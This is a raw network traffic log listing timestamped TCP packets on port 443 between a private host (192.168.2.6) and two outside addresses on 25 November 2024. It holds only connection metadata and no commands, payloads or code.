Nov 25, 2024 05:46:25.469259024 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.478961945 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.478982925 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.479031086 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.479039907 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.479083061 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.490303040 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.490323067 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.490367889 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.490376949 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.490412951 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.501389027 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.501410961 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.501465082 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.501475096 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.501502991 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.501528978 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.511856079 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.511887074 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.511929035 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.511940002 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.511974096 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.512007952 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.522278070 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.522336006 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.522358894 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.522375107 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.522403002 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.522432089 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.523137093 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.523156881 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.523191929 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.523197889 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.523226023 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.523243904 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.532959938 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.532984972 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.533099890 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.533099890 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.533107042 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.533390045 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.535149097 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.535172939 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.535213947 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.535223007 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.535253048 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.535271883 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.542484999 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:25.542542934 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:25.542551994 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:25.542654991 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:25.543055058 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:25.543108940 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:25.543112993 CET	443	49745	2.16.158.89	192.168.2.6
Nov 25, 2024 05:46:25.543154001 CET	49745	443	192.168.2.6	2.16.158.89
Nov 25, 2024 05:46:25.550828934 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.550877094 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.550908089 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.550916910 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.550961018 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.550986052 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.565161943 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.565181017 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.565270901 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.565279961 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.565934896 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.569142103 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.569163084 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.569268942 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.569288015 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.569335938 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.573323011 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.573365927 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.573400974 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.573407888 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.573463917 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.585900068 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.585917950 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.585993052 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.586000919 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.586050987 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.590567112 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.590610981 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.590646029 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.590651989 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.590689898 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.590715885 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.599807978 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.599888086 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.599899054 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.599922895 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.599956036 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.599973917 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.606805086 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.606822968 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.606879950 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.606887102 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.606928110 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.606947899 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.617518902 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.617552996 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.617626905 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.617640018 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.617954969 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.638215065 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.638288975 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.638309002 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.638320923 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.638362885 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.638386965 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.654113054 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.654138088 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.654211044 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.654233932 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.654263973 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.654287100 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.663728952 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.663753986 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.663816929 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.663825035 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.663868904 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.672780037 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.672804117 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.672871113 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.672878981 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.672929049 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.682014942 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.682035923 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.682116985 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.682126045 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.682189941 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.690138102 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.690157890 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.690211058 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.690218925 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.690283060 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.698676109 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.698692083 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.698748112 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.698755980 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.698949099 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.708031893 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.708050013 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.708138943 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.708147049 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.708317041 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.717083931 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.717109919 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.717190981 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.717200041 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.717236042 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.720112085 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.720161915 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.720216990 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.720227957 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.720276117 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.733093023 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.733127117 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.733166933 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.733179092 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.733215094 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.733232975 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.736061096 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.736112118 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.736143112 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.736155033 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.736203909 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.748589993 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.748605967 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.748697996 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.748707056 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.748745918 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.752217054 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.752268076 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.752301931 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.752307892 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.752352953 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.761771917 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.761789083 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.761862040 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.761868954 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.761938095 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.763973951 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.764020920 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.764051914 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.764058113 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.764106989 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.774213076 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.774251938 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.774295092 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.774307013 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.774347067 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.774369001 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.776360989 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.776422024 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.776443005 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.776452065 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.776496887 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.776896000 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.776916027 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.776989937 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.776998997 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.777010918 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.777080059 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.790970087 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.791019917 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.791074038 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.791083097 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.791121006 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.791141033 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.792268038 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.792287111 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.792373896 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.792382002 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.792485952 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.796792030 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.796834946 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.796866894 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.796879053 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.796921015 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.796933889 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.806222916 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.806269884 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.806335926 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.806344032 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.806387901 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.806406975 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.806483030 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.806508064 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.806545973 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.806554079 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.806591034 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.806606054 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.816195965 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.816220045 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.816308975 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.816318989 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.816355944 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.816368103 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.828644037 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.828669071 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.828772068 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.828783035 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.828830004 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.846169949 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.846194029 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.846254110 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.846270084 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.846297026 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.846313000 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.854183912 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.854199886 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.854273081 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.854288101 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.854532003 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.857645988 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.857692957 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.857745886 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.857759953 CET	443	49742	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.857789993 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.857827902 CET	49742	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.862341881 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.862360001 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.862401962 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.862416983 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.862453938 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.862476110 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.869457006 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.869473934 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.869517088 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.869532108 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.869560957 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.869576931 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.877496958 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.877513885 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.877599001 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.877613068 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.877712011 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.885226011 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.885246992 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.885332108 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.885348082 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.885435104 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.893246889 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.893268108 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.893354893 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.893371105 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.893621922 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.901484013 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.901503086 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.901602983 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.901618958 CET	443	49736	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.901772976 CET	49736	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.921432972 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.921484947 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.921519995 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.921546936 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.921576023 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.921598911 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.927741051 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.927766085 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.927830935 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.927840948 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.927886009 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.931386948 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.931453943 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.931509972 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.931523085 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.931567907 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.931591988 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.938055992 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.938080072 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.938150883 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.938160896 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.938189983 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.938205004 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.941301107 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.941344976 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.941405058 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.941412926 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.941493988 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.941533089 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.949505091 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.949523926 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.949861050 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.949870110 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.949911118 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.951366901 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.951410055 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.951461077 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.951467991 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.951492071 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.951515913 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.960606098 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.960649014 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.960714102 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:25.960721970 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.960725069 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.960743904 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:25.960762978 CET	49743	443	192.168.2.6	150.171.27.10
